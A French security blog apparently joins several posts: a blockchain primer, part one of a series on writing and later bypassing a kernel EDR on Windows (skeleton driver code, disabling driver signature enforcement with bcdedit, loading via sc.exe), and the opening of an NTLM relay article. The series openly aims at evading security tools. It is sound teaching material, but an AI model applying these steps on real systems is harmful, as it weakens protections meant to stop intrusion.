Il y a mille et une définitions pour le terme blockchain (ou chaîne de blocs, mais on continuera avec le terme blockchain). Ce que je trouve important à comprendre, c’est que ça représente un registre (ou base de données) décentralisé. Il n’y a pas une entité centrale qui décide de la validité ou non d’une transaction, mais bien des milliers de personnes ou machines qui travaillent pour vérifier et valider ces transactions, le tout étant régit par des règles et concepts mathématiques.

Finalement, on peut simplifier une blockchain en imaginant que c’est un immense tableau Excel dans lequel il est possible d’ajouter des lignes, les unes à la suite des autres. Il est également possible de lire l’intégralité du fichier Excel, depuis sa création. Cependant, il n’est pas possible d’aller modifier une ligne déjà écrite et validée. C’est du append only.

Bien entendu, c’est simplificateur, car des blockchains comme Ethereum ajoute, en plus de transactions classiques, une machine virtuelle avec son espace de stockage, son architecture etc. On en parlera dans le prochain article.

Transactions

Ces transactions, à quoi ça correspond ? Tout simplement à des transferts de coins d’un compte à un autre. Si Alice veut envoyer 1 coin à Bob, c’est une transaction.

Un coin, c’est la cryptomonnaie de la blockchain. Pour la blockchain Bitcoin, c’est le Bitcoin, pour la blockchain Ethereum c’est l’Ether, pour Solana c’est le Sol, etc.

Pour savoir si Alice a suffisamment de coins, il suffit de lire l’historique des transactions. Tout l’historique. Si un jour elle a reçu 3 coins, qu’elle en a dépensés 2, puis qu’elle en a reçus 4, on peut savoir, à l’instant T, que Alice a 3-2+4 donc 5 coins. Elle a alors le droit de dépenser 1 coin, tout va bien.

Notons que c’est le fonctionnement de Bitcoin, mais pour d’autres blockchains, il arrive que le solde de chaque compte soit maintenu à jour (dans la blockchain ou non) afin d’éviter de devoir recalculer les soldes des utilisateurs à chaque transaction.

Voilà ce que contient une blockchain classique. Un état des dépenses de tous les utilisateurs, depuis la création de la blockchain.

Utilisateur

Pour être un utilisateur d’une blockchain, il faut être en possession d’un couple de clés asymétriques : Une clé publique et une clé privée. La clé privée, évidemment gardée jalousement par chaque utilisateur, permet de signer toutes ses transactions. C’est de cette manière que, quand Alice prétend envoyer 1 coin à un destinataire, il est possible de vérifier que c’est bien Alice qui est à l’initiative de cette transaction. Elle l’a signée avec sa clé privée, et tout le monde peut vérifier que cette signature est valide avec sa clé publique.

On comprend donc qu’en réalité, dans une blockchain, on ne sait pas que l’utilisateur est Alice. Un utilisateur est plutôt défini par une adresse (dérivée de sa clé publique). Donc quand Alice souhaite effectuer une transaction, du point de vue de la blockchain, c’est son adresse qui est la source de la transaction.

Par ailleurs, pour communiquer avec la blockchain, l’utilisateur passera par le biais d’un client. Ce n’est rien d’autre qu’un programme qui sait comment générer des transactions, communiquer avec le réseau etc. L’utilisateur pourrait tout coder lui⁻même, mais ce n’est pas pratique. C’est un peu comme le fait d’utiliser un navigateur internet pour aller sur internet. C’est plus pratique que d’écrire du code qui permette de faire des requêtes HTTP.

Validation

C’est très bien, mais qui valide ces transactions ? Qui fait le calcul pour vérifier que Alice a bien au moins 1 coin à envoyer à quelqu’un ? Et que c’est bien Alice qui effectue la transaction ?

C’est là qu’interviennent les notions de blocs et de validateurs. Pour qu’une blockchain fonctionne correctement, il faut que plusieurs personnes se mettent au travail pour valider les transactions. Ils créent ce qu’on appelle des nœuds (nodes) qui seront capables de s’annoncer auprès du réseau pour en faire partie, récupérer toutes les transactions passées et celles en attente de validation. C’est un vrai réseau peer-to-peer. Dès qu’un utilisateur souhaite effectuer une transaction (1), le client qu’il utilise pour effectuer sa transaction enverra un message de broadcast pour indiquer qu’une nouvelle transaction a été envoyée (via NewPooledTransactionHashes) (2). Le (ou les) nœud alentours recevra cette information et récupérera la transaction pour la vérifier (vérification de la signature, des fonds disponibles, etc.) (3), mais elle ne sera pas encore validée pour autant. Elle va rejoindre la liste d’attente des transactions qui ont été envoyées mais pas encore validées, appelée le mempool. Ce nœud préviendra également d’autres nœuds (4) qui eux-mêmes feront le travail de vérification (6) et ajouteront cette transaction à leur mempool, etc.

Il y a donc tout un tas de transactions en attente d’être validées, et c’est là qu’entre en jeu la magie de la blockchain. En effet, il va falloir valider des transactions, et que tous les nœuds du réseau se mettent d’accord sur les transactions validées, et l’ordre dans lequel elles sont validées.

Chaque nœud crée alors un bloc, dont la taille est limitée (cette limite diffère d’une blockchain à l’autre) en choisissant des transactions en attente dans le mempool. Une fois ce bloc créé, tous les nœuds seront en compétition pour que leur bloc soit le nouveau bloc de référence. Le bloc construit par celui qui remporte la compétition devient le dernier bloc de la chaîne. Il est ajouté aux blocs précédemment validés, les transactions qu’il contenait ne sont plus dans le mempool, puisqu’elles ont été validées, et donc tous les nœuds doivent reconstruire un nouveau bloc avec les transactions qui ne sont pas encore validées pour tenter, à nouveau, de remporter cette compétition.

Consensus

Cette “compétition” dont on parle, c’est le mécanisme de consensus, c’est à dire une manière qui met tout le monde d’accord pour que quelqu’un devienne la nouvelle référence pour le prochain bloc. Il existe beaucoup de mécanismes de consensus. Les deux principaux sont les suivants :

Le Proof of Work (PoW), ou preuve de travail, est un mécanisme de consensus qui requiert que chaque nœud effectue énormément de calculs pour trouver une solution à un problème. Pour simplifier, c’est comme si on vous demandait de fournir une chaine de caractères telle que md5(bloc + chaine) commence par dix fois le numéro 0. Il n’y a pas vraiment de bonne ou mauvaise situ… manière de procéder. On peut tout simplement générer des chaines complètement aléatoires, calculer leur hash md5, jusqu’à trouver, par hasard, une entrée qui satisfasse la condition. Et à un moment donné, de manière complètement aléatoire, quelqu’un peut tester :

echo -n '[bloc data]aa33bdsk' | md5sum
# Output:
000000000035d3695b3a133766f60d42

En étant le premier à trouver cette solution au problème posé, ce sera son bloc qui sera ajouté à la chaîne de blocs existante, et donc les transactions qu’il a prises du mempool qui seront validées.

Le Proof of Stake (PoS) , ou preuve d’enjeu, évite que tous les nœuds fassent des calculs. A la place, chaque nœud doit mettre de côté des cryptomonnaies de la blockchain. Chaque nœud prépare son bloc, puis à intervalle régulier, c’est un algorithme qui choisi aléatoirement un nœud parmi ceux qui ont mis des cryptomonnaies de côté. Le nœud choisi verra son bloc validé, et on passe au bloc suivant. Si le nœud ne respecte pas les règles ou essaie de tricher (en modifiant des transactions ou en créant un bloc trop gros, par exemple), la cryptomonnaie qu’il a dû mettre de côté lui sera retirée. You gotta play by the rules.

Il en existe d’autres, mais vous avez compris l’idée. Le but est que régulièrement, un nœud valide un bloc, mais qu’il ne soit pas possible pour un même nœud de valider tous les blocs. Tout le monde est en compétition.

Récompenses

Rassurez-vous, les personnes derrière ces nœuds ne sont pas des amoureux de la blockchain qui travaillent gratuitement. Tout travail mérite salaire, et ça s’applique également à la blockchain. Les personnes qui font partie du réseau en vérifiant et validant les transactions gagnent des récompenses.

Pour envoyer une transaction sur le réseau, les utilisateurs doivent y joindre un petit montant, appelé frais de transaction (gas chez Ethereum). Ainsi, quand quelqu’un valide un bloc, il récoltera les frais des transactions qu’il aura validé. On comprend alors qu’en tant qu’utilisateur, si on veut être assuré que notre transaction ne stagne pas at vitam dans le mempool, il faudra payer suffisamment de frais de transactions pour être dans la moyenne, voire dans le haut du panier si on souhaite être prioritaire.

Par ailleurs, à chaque bloc validé, un petit montant de la cryptomonnaie est créé de toute pièce et envoyé au validateur. Le nombre de coin en circulation augmente alors un peu.

Conclusion

Ces quelques paragraphes permettent j’espère de clarifier le concept global d’une blockchain, et sert d’introduction aux prochains articles qui se concentrent sur la blockchain Ethereum, notamment sur l’Ethereum Virtual Machine qui permet d’exécuter des Smart Contracts, et les enjeux de sécurité associés à cette exécution de code décentralisée. A très vite !

Ecrire et contourner un EDR côté noyau - Partie 1 : Kernel & Drivers

Mon, 25 Oct 2021 12:02:32 +0000

Dans cette série d’articles nous allons un peu changer de sujet (Active Directory) pour nous intéresser aux EDR. Plus particulièrement, nous allons nous intéresser au fonctionnement des EDR côté noyau. Avant de rentrer dans le vif du sujet, quelques notions sur l’architecture Windows vont être rappelées avant d’évoquer le fonctionnement d’un EDR côté utilisateur (User-Land), puis de descendre dans le noyau (Kernel-Land). Nous expliquerons alors comment ces deux mondes communiquent, puis nous détaillerons les structures manipulées du côté noyau dans le but d’expliquer le fonctionnement d’un pilote, ou driver. Tous ces éléments nous permettront alors d’écrire notre premier driver, pour ensuite l’enrichir et le transformer en EDR avec lequel on peut communiquer depuis le User-Land. Nous finirons en écrivant un autre driver qui aura pour but de contourner les protections que nous avons mises en places.

Sacré programme, n’est-ce pas ? Buckle up, et c’est parti.

Préambule

Alors que je me suis enfin plongé dans ces recherches, je suis tombé sur le livre Windows Kernel Programming de Pavel Yosifovich. Ce livre est une vraie mine d’or, et la majorité de ce que j’ai compris (ou de ce que je pense comprendre) vient de ce livre. Cette série d’articles sera donc en grande partie basée sur les connaissances que j’ai acquises en lisant ce livre. Je remercie donc vivement l’auteur, Pavel Yosifovich, pour ce contenu d’une très grande qualité.

Je tiens également à citer ces ressources très intéressantes qui m’ont permis d’apercevoir le fonctionnement des drivers. L’excellent article Windows Kernel Ps Callbacks Experiments, l’article Pimp my PID - get SYSTEM using Windows kernel de Viking, ou encore Kernel Karnage – Part 1. Chacun de ces articles m’a apporté son lot de connaissances et de compréhension.

Pour autant, et c’est un peu la raison d’être de mon blog, je veux également me prêter à l’exercice pour mettre de l’ordre dans tout ce bazar qui se bouscule dans ma tête.

Objectifs

Cette série d’articles aura plusieurs objectifs. La méthodologie pour les atteindre va être de zoomer de plus en plus sur les parties d’un système d’exploitation qui nous intéressent pour les deux objectifs finaux, à savoir écrire un micro-EDR qui va fonctionner niveau noyau, et écrire un driver qui aura pour but de contourner cet EDR.

Espaces utilisateur et noyau

Pour atteindre ces objectifs, nous allons alors passer par plusieurs étapes. Nous commencerons avec une vision très macro du fonctionnement d’un système d’exploitation. Cette étape peut s’appliquer à Linux et Windows, et nous permettra d’avoir la global picture. Nous allons tenter de comprendre les notions d’espace utilisateur, d’espace noyau (User-Land et Kernel-Land), et les interactions entre ces deux espaces.

Processus

Tout d’abord abordons la notion de processus. Un processus c’est un peu l’enveloppe d’un programme qui est en cours d’exécution. Dès qu’un programme est lancé, un processus est créé, et est propre à l’instance du programme lancé. On trouvera dans un processus un ou plusieurs threads, qui sont les éléments qui vont vraiment exécuter le code. Il y a également un espace d’adressage virtuel qui représente la mémoire physique (RAM) de l’ordinateur. Ainsi, si une machine a 16Go de RAM, chaque processus contiendra 16Go de RAM dite virtuelle. Du point de vue du processus, il y a bien 16Go de RAM accessible. Dans un processus, nous pouvons également trouver un jeton, ou token, qui est un objet représentant le contexte de sécurité dans lequel se trouve le processus (qui a lancé le processus, les droits et privilèges de ce processus, etc.), et bien entendu le programme qui est exécuté.

Mémoire virtuelle

Nous avons déjà parlé de la mémoire virtuelle dans un précédent article, donc nous ne détaillerons pas la couche d’abstraction entre la mémoire virtuelle et la mémoire physique. Rappelons cependant que bien que tous les processus partagent la même mémoire physique, ils n’ont pour autant accès qu’à leur propre mémoire virtuelle. Du point de vue de chaque processus, l’ensemble de la mémoire lui est dédiée, et les autres processus n’existent pas. Pour que cela fonctionne, une table de pages est située entre la mémoire virtuelle de chaque processus et la mémoire physique. C’est grâce à elle que chaque processus pense avoir accès à toute la mémoire physique.

Sauf que pour correctement fonctionner, les processus ont différents besoins comme un accès au matériel physique (clavier, souris, carte graphique), des accès à des fichiers, et ces processus ont surtout besoin d’un chef d’orchestre pour décider quel thread a le droit d’exécuter des instructions à quel moment.

Et bien le code qui régit tout ça se trouve dans un espace particulier, le noyau, ou kernel. C’est la couche qui gère justement tous ces besoins bas niveaux, et qui est commune à tous les processus. En effet, que ce soit notepad.exe ou sublime.exe qui essaie d’accéder en lecture et écriture à un fichier, le code correspondant restera le même. Le kernel, c’est en fait un peu comme un gros ensemble de bibliothèques que les processus peuvent (indirectement) utiliser pour ne pas avoir à réinventer la roue, et pour s’abstraire de beaucoup de complexité. On est content de pouvoir développer un programme une seule fois, quelle que soit la marque du disque dur, ou de la carte graphique, pour afficher une fenêtre. Non ?

Pour que ce partage de code soit possible, dans la mémoire virtuelle de chaque processus, il y a une zone mémoire réservée au kernel.

Tout ce code est extrêmement critique puisqu’il régit le fonctionnement d’un système d’exploitation, et donc n’est pas accessible directement par les applications.

C’est pourquoi les communications entre la zone utilisateur et la zone noyau sont très codifiées, et utilisent un principe d’appels systèmes pour interagir.

Appels système

Le noyau propose aux applications beaucoup de fonctionnalités, un peu à la manière d’une API. Pour chacune de ces fonctionnalités, un identifiant est associé. Du côté du noyau, il y a une table qui fait la correspondance entre un numéro et la fonctionnalité associée. Cette table est appelée la SSDT (System Service Dispatch Table). Lorsqu’une instruction précise est envoyée par une application, appelée syscall, le noyau comprend qu’une action de sa part est attendue. Le noyau (ou plus exactement le System Service Dispatcher) va alors regarder le numéro du syscall qui a été envoyé par l’application, et va donner le relais à la fonction associée à ce numéro dans la SSDT. C’est alors au tour de la fonction côté noyau d’exécuter des actions, et de retourner une valeur à l’application.

Conclusion

Nous avons brièvement expliqué ce qu’était un processus, et comment le code de l’exécutable associé au processus peut communiquer avec le kernel pour effectuer des actions bas niveau. Cependant, nous comprenons bien que l’exécutable ne peut pas directement exécuter du code côté noyau, et c’est tant mieux. Il ne peut que demander d’utiliser telle ou telle fonctionnalité que le noyau veut bien exposer.

Si des processus pouvaient exécuter du code côté kernel, une petite erreur dans le code pourrait avoir des conséquences désastreuses. De la mémoire critique ou du code nécessaire au bon fonctionnement du système d’exploitation pourrait être écrasé. D’ailleurs, une erreur dans le code exécuté côté kernel entraînera quasi-systématiquement un plantage pur et simple du système d’exploitation, avec ce bel écran que nous connaissons tous, le Blue Screen Of Death, ou BSOD (qui n’a/est pas toujours bleu, d’ailleurs).

Les drivers

Il existe cependant beaucoup de raisons pour lesquelles il est important de pouvoir exécuter du code côté kernel. Un exemple évident concerne les constructeurs de périphériques. Pour que des applications puissent avoir accès à leurs périphériques, il est nécessaire que les constructeurs développent du code qui sera enregistré dans le noyau et qui permettra aux applications de profiter des fonctionnalités du périphérique sans pour autant connaître ou comprendre le fonctionnement physique du matériel.

D’autres besoins peuvent exister, dont un qui nous intéresse particulièrement, c’est le besoin qu’on les EDR (Endpoint Detection and Response) de surveiller tout ce qu’il se passe sur le système, et de pouvoir agir si nécessaire, sans que les applications ne soient en mesure de les arrêter. Trop facile sinon.

Il existe beaucoup de moyens de surveiller et gérer les applications du côté utilisateur, et l’article A tale of EDR bypass methods de S3cur3Th1sSh1t décrit une grande partie de ces techniques, et dresse un état de l’art des contournement existant. On comprend assez rapidement que ce qu’implémentent les EDR du côté utilisateur se contourne souvent facilement.

Cependant, il existe moins de documentation sur les techniques utilisées par les EDR côté kernel pour surveiller ce qu’il se passe sur une machine, et contourner ces mesures est moins évident que du côté espace utilisateur.

Pour pouvoir exécuter du code du côté du noyau, nous allons nous intéresser au fonctionnement d’un pilote, ou driver. Un driver est un programme qui va, justement, être exécuté dans l’espace kernel. Lessgo.

Structure d’un driver

Pour pouvoir écrire un driver, il faut comprendre comment celui-ci est structuré. Tout d’abord, un driver possède un point d’entrée. C’est la fonction qui va être appelée lorsque ce driver sera exécuté dans le noyau. De la même manière qu’en C, un exécutable doit avoir une fonction main, ou une DLL doit avoir DLLMain, un driver doit avoir une fonction DriverEntry. Cette fonction doit renvoyer un numéro indiquant si tout s’est bien passé ou non. Ce numéro est de type NTSTATUS. Cette fonction prend également deux arguments, le premier est un pointeur vers un objet driver DriverObject, et le deuxième une chaîne de caractères RegistryPath.

#include <ntddk.h>

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    return STATUS_SUCCESS;
}

L’objet driver DriverObject est en fait une structure qui est en partie initialisée par le noyau avant d’appeler le driver en question. C’est une structure que le driver lui-même va compléter, et qui va notamment servir à indiquer quelles sont les fonctionnalités offertes par ce driver et où se trouvent les fonctions associées à ces fonctionnalités.

Cet objet doit être également complété en indiquant où se trouve la fonction qui sera appelée quand le driver sera supprimé (Unload). Cette fonction est super importante puisqu’elle permettra de nettoyer tout ce qui doit l’être lorsque le driver est arrêté. Autant quand un processus utilisateur est arrêté, le noyau peut nettoyer derrière lui et éviter les fuites mémoire, autant quand c’est dans le noyau qu’on a des fuites mémoire, elles seront là jusqu’au prochain redémarrage. C’est donc important de correctement gérer sa mémoire, et de la libérer dans sa fonction d’unload.

Pour déclarer où se trouve la fonction d’unload, il suffit de l’indiquer dans la structure DriverObject reçue en paramètre de DriverEntry.

#include <ntddk.h>


void EDRUnload(_In_ PDRIVER_OBJECT DriverObject) {
}


NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    /* On indique que la fonction EDRUnload est la fonction à appeler lorsque le driver est arrêté */
    DriverObject->DriverUnload = EDRUnload;
    return STATUS_SUCCESS;
}

Simple n’est-ce pas ? Dès qu’on allouera des ressources, il faudra penser à les libérer, potentiellement dans cette nouvelle fonction EDRUnload que nous venons de définir.

Outre la gestion de l’arrêt du driver, des fonctionnalités peuvent être définies par l’objet DriverObject. Il y a par exemple le fait qu’une application puisse effectuer des opérations de lecture avec ce driver. C’est par exemple ce que fait Process Explorer quand il ne fait que lire les processus en cours d’exécution. Ce sont des informations collectées par le driver, et renvoyées à l’application. Il existe également des opérations d’écriture, ou des actions plus génériques que nous verrons plus tard.

Ces fonctionnalités s’appellent des Dispatch Routines. C’est un tableau de pointeurs de fonctions dont les index sont décris sur le site de Microsoft. Nous parlions de fonctionnalité de lecture, correspondant à l’index IRP_MJ_READ, ou écriture IRP_MJ_WRITE, mais il y en a d’autres. Voici un tableau permettant d’avoir un aperçu des plus communes.

Index	Description
IRP_MJ_CREATE	Opération de création ou d’ouverture
IRP_MJ_CLOSE	Opération de fermeture
IRP_MJ_READ	Opération de lecture
IRP_MJ_WRITE	Opération d’écriture
IRP_MJ_DEVICE_CONTROL	Appels de codes de contrôle

Ce tableau se situe dans le membre MajorFunction de l’objet driver. Ainsi, si nous souhaitons pouvoir interagir avec le driver depuis une application utilisateur, il faudra à minima implémenter la fonction associée à IRP_MJ_CREATE pour ouvrir le driver, IRP_MJ_CLOSE pour le fermer, et IRP_MJ_READ, IRP_MJ_WRITE et/ou IRP_MJ_DEVICE_CONTROL. Nous verrons un peu plus tard à quoi correspondent ces codes de contrôle. Commençons par les deux premières permettant d’accéder au driver.

#include <ntddk.h>

void EDRUnload(_In_ PDRIVER_OBJECT DriverObject);
NTSTATUS EDRCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    /* On indique que la fonction EDRUnload est la fonction à appeler lorsque le driver est arrêté */
    DriverObject->DriverUnload = EDRUnload;

    /* Déclaration des méthodes appelées lors d'une demande d'ouverture et de fermeture du driver */
    DriverObject->MajorFunction[IRP_MJ_CREATE] = EDRCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = EDRCreateClose;
    return STATUS_SUCCESS;
}

void EDRUnload(_In_ PDRIVER_OBJECT DriverObject) {

}

NTSTATUS EDRCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) {
    /* Des actions sont à prendre ici pour valider l'ouverture ou la fermeture du driver */
    return STATUS_SUCCESS;
}

Vous pouvez constater que la même fonction a été utilisée pour les deux opérations. En effet, dans la plupart des cas, cette fonction permet seulement de valider l’ouverture ou la fermeture du driver, et on n’a pas besoin d’y ajouter plus de logique. Des tests pourraient être faits pour s’assurer que c’est tel ou tel utilisateur qui effectue cette ouverture, mais pour simplifier nous utiliserons cette fonction commune pour toujours valider les demandes.

Nous pouvons ensuite ajouter une fonction associée à IRP_MJ_DEVICE_CONTROL. Cette fonctionnalité est très pratique puisqu’elle permet au client applicatif et au driver de communiquer au travers de codes de contrôle. Pour simplifier, le client peut envoyer un code LIST, ADD, ou CLEAN par exemple, et du côté du driver, il y aura une condition qui testera ce code de contrôle. En fonction de sa valeur, telle ou telle action sera prise.

Pour déclarer cette fonction, pas de surprise.

#include <ntddk.h>

void EDRUnload(_In_ PDRIVER_OBJECT DriverObject);
NTSTATUS EDRCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);
NTSTATUS EDRDeviceControl(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    /* Déclaration de la méthode appelée lors de la fermeture du driver */
    DriverObject->DriverUnload = EDRUnload;

    /* Déclaration des méthodes appelées lors d'une demande d'ouverture et de fermeture du driver */
    DriverObject->MajorFunction[IRP_MJ_CREATE] = EDRCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = EDRCreateClose;

    /* Déclaration de la méthode qui gérera les codes de contrôle */
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = EDRDeviceControl;
    return STATUS_SUCCESS;
}

void EDRUnload(_In_ PDRIVER_OBJECT DriverObject) {

}

NTSTATUS EDRCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) {
    /* Des actions sont à prendre ici pour valider l'ouverture ou la fermeture du driver */
    return STATUS_SUCCESS;
}

NTSTATUS EDRDeviceControl(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) {
    /* Une logique peut être implémentée ici pour traiter des requêtes d'applications */
    return STATUS_SUCCESS;
}

Nous avançons sur la structure d’un driver, mais ça serait pas mal de le compiler et de le tester, n’est-ce pas ?

En l’état, ça ne fonctionnera pas, et en plus, rien ne sera visible. Donc avant de passer à une première compilation, ajoutons quelques informations de debug avec la fonction KdPrint (une macro, pour être plus exact). Cette fonction s’utilise de la manière suivante :

KdPrint(("Voici un message !\n"));

On notera le double jeu de parenthèses, du fait que ce soit une macro et non une fonction.

En utilisant l’utilitaire DbgView de la suite Sysinternals, nous pourrons lire les messages de debug que nous aurons placé dans notre code.

Première compilation

Pour pouvoir compiler ce projet, il faut installer Visual Studio, le SDK Windows 10 (avec les outils de débogage), et le Windows 10 Driver Kit, à installer en dernier pour qu’il installe correctement l’extension dans Visual Studio. Il y a peut-être d’autres manières de le faire, mais personnellement dans cet ordre ça a bien marché.

Il convient alors de créer un projet Visual Studio de type Empty WDM Driver.

Un fichier EDR.inf a été généré lors de la création de ce projet, mais nous n’en avons pas besoin donc nous pouvons le supprimer.

Ensuite, vous pouvez créer un fichier source, par exemple Edr.cpp dans le dossier Sources.

Vous pourrez alors copier le squelette de driver que nous avons créé jusqu’ici. Notez cependant que le projet ne compilera pas dans cet état. En effet, lorsqu’on compile un driver, le compilateur renverra des erreurs lorsque certains avertissements sont rencontrés. Un exemple d’avertissement considéré comme une erreur est celui indiquant qu’une variable n’est pas utilisée. Pour éviter cette erreur, la macro UNREFERENCED_PARAMETER peut être utilisée pour indiquer qu’on sait que ce paramètre existe, mais qu’on ne va pas l’utiliser.

Par ailleurs, la fonction DriverEntry doit être exportée lors de la compilation sans que son nom ne soit modifié. Or C++ permet la surcharge de méthodes, et renomme les méthodes avec différentes informations pour gérer ces surcharges. Pour éviter ce comportement, l’instruction extern "C" doit être ajoutée juste avant la fonction DriverEntry.

Enfin, ajoutons quelques informations de debug avec la fonction KdPrint.

#include <ntddk.h>

void EDRUnload(_In_ PDRIVER_OBJECT DriverObject);
NTSTATUS EDRCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);
NTSTATUS EDRDeviceControl(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);

extern "C"
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    UNREFERENCED_PARAMETER(RegistryPath);

    KdPrint(("Le driver a été démarré\n"));

    /* Déclaration de la méthode appelée lors de la fermeture du driver */
    DriverObject->DriverUnload = EDRUnload;

    /* Déclaration des méthodes appelées lors d'une demande d'ouverture et de fermeture du driver */
    DriverObject->MajorFunction[IRP_MJ_CREATE] = EDRCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = EDRCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = EDRDeviceControl;

    KdPrint(("Le driver a été correctement initialisé\n"));
    return STATUS_SUCCESS;
}

void EDRUnload(_In_ PDRIVER_OBJECT DriverObject) {
    UNREFERENCED_PARAMETER(DriverObject);
    KdPrint(("Le driver a été arrêté\n"));
}

NTSTATUS EDRCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    UNREFERENCED_PARAMETER(Irp);

    KdPrint(("Le driver a été ouvert ou fermé\n"));
    /* Des actions sont à prendre ici pour valider l'ouverture ou la fermeture du driver */
    return STATUS_SUCCESS;
}

NTSTATUS EDRDeviceControl(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    UNREFERENCED_PARAMETER(Irp);

    KdPrint(("Un code de contrôle a été envoyé au driver\n"));
    /* Une logique peut être implémentée ici pour traiter des requêtes d'applications */
    return STATUS_SUCCESS;
}

Une dernière petite étape avant de pouvoir compiler le driver, il faut désactiver une protection de compilation contre certaines attaques. C’est mieux d’avoir les éléments qui permettent de faire les vérifications, mais pour nos besoins de tests, on se contentera de désactiver l’option.

Maintenant, le driver peut être compilé ! Cette compilation produit notamment un fichier EDR.sys, qui est le driver que nous pourrons charger. Il ne fait rien, mais c’est quand même déjà beaucoup.

Chargement du driver

Nous avons donc compilé notre premier driver, EDR.sys. Malheureusement (ou heureusement) nous ne pouvons pas le charger directement dans notre kernel. Les versions récentes de Windows demandent plusieurs prérequis pour accepter de charger un driver, notamment qu’il soit signé par une autorité de certification reconnue par Microsoft, et signé par Microsoft lui même ! Est-ce qu’on s’arrête là alors ?

Comme nous sommes en phase de recherche et d’apprentissage, il existe une solution pour tout de même charger notre driver. Pour cela, je vous conseille extrêmement fortement de faire vos tests dans une machine virtuelle, ou du moins une machine de tests. Pour rappel, si votre driver plante, ça fait planter la machine. Pas de demi mesure (moi j’te mesure à ton usure au demi - Svinkels).

Une fois que votre machine de tests est lancée, vous pouvez la mettre en mode développement, c’est à dire qu’elle acceptera de charger des drivers non signés. Pour cela, il suffit de lancer dans une console en tant qu’administrateur la commande suivante :

bcdedit /set testsigning on

Après un redémarrage, votre machine est prête à installer votre driver, on y arrive ! Je vous conseille également de télécharger l’utilitaire DbgView de la suite Sysinternals dont on a parlé tout à l’heure, car il vous permettra de voir les messages envoyés par vos fonctions KdPrint.

Ensuite, pour enregistrer votre driver, la commande sc.exe peut être utiliser de la manière suivante :

sc.exe create EDR type= kernel binPath= C:\chemin\vers\EDR.sys

Notez les espaces après les signes =, ils sont importants pour la ligne de commande, ne les supprimez pas.

Une fois le driver enregistré, il peut être lancé, à l’aide de la commande start de sc.exe

sc.exe start EDR

Les messages de debug doivent alors apparaître dans la console de Dbgview.

Nous sommes donc bien rentrés dans la routine DriverEntry et nos méthodes se sont correctement enregistrées. Aucune de ces méthodes enregistrées n’a cependant été appelée, et c’est normal. En revanche, si nous arrêtons le driver, alors la méthode EDRUnload va l’être.

sc.exe stop EDR

Tout s’est correctement déroulé, félicitations, vous avez développé, lancé et arrêté votre premier driver sous Windows !

Conclusion

Dans cette première partie, nous avons vu ce qu’était l’espace utilisateur et l’espace noyau, ou kernel, et nous avons défini quelques termes importants pour le reste de cette série. Tandis que le fonctionnement d’un EDR côté utilisateur a été extrêmement bien décrit dans un article de S3cur3th1ssh1t, nous avons pointé du doigt en quoi l’exécution de code côté kernel pouvait être un gros avantage pour les EDR.

Nous avons alors décrit ce qu’était un driver, et détaillé la structure de base qui permet à un driver d’être compilé et chargé. Nous partirons de ce squelette dans les prochaines parties pour mettre en pratique des fonctionnalités proposées par le kernel pour surveiller voire modifier le comportement des applications côté utilisateur. Cette même structure pourra être utilisée dans la troisième partie qui décrira comment écrire un driver permettant de contourner, ou supprimer ces protections.

Je vous donne donc rendez-vous pour la partie 2 de cette série !

Relais NTLM

Wed, 01 Apr 2020 10:11:52 +0000

Le relais NTLM est une technique consistant à se mettre entre un client et un serveur pour effectuer des actions sur le serveur en se faisant passer pour le client. Correctement utilisée, elle peut être très puissante et peut permettre de prendre le contrôle d’un domaine Active Directory sans avoir d’identifiants au préalable. L’objet de cet article est d’expliquer le relais NTLM, et de présenter ses limites.

Préliminaire

Cet article n’est pas voué à être un tutoriel à suivre à la lettre pour mener à bien une attaque, mais il permettra au lecteur de comprendre en détail le fonctionnement technique de cette attaque, ses limites, et peut être une base pour commencer à développer ses propres outils, ou comprendre comment fonctionnent les outils actuels.

Par ailleurs, et afin d’éviter toute confusion, voici quelques rappels :

Hash NT et Hash LM sont des versions de condensat des mots de passe des utilisateurs. Les hash LM sont totalement obsolètes, et ne seront pas mentionnés dans cet article. Le hash NT est communément appelé, à tort à mon sens, “hash NTLM”. Cette désignation prête à confusion avec le nom du protocole, NTLM. Ainsi, lorsque nous parlerons du condensat du mot de passe de l’utilisateur, nous parlerons bien de hash NT.
NTLM est donc le nom du protocole d’authentification. Il existe aussi en version 2. Dans cet article, si la version influe sur l’explication, alors NTLMv1 et NTLMv2 seront les termes employés. Sinon, le terme NTLM sera employé pour regrouper l’ensemble des versions du protocole.
Réponse NTLMv1 et Réponse NTLMv2 seront les terminologies utilisées pour parler de la réponse au challenge envoyée par le client, pour les version 1 et 2 du protocole NTLM.
Net-NTLMv1 et Net-NTLMv2 sont des néo-terminologies utilisées lorsque le hash NT est appelé hash NTLM afin de distinguer le hash NTLM du protocole. Comme nous n’utilisons pas la terminologie hash NTLM, ces deux terminologies ne seront pas utilisées.
Hash Net-NTLMv1 et Hash Net-NTLMv2 sont également des terminologies visant à éviter la confusion, mais ne seront également pas utilisées dans cet article.

Introduction

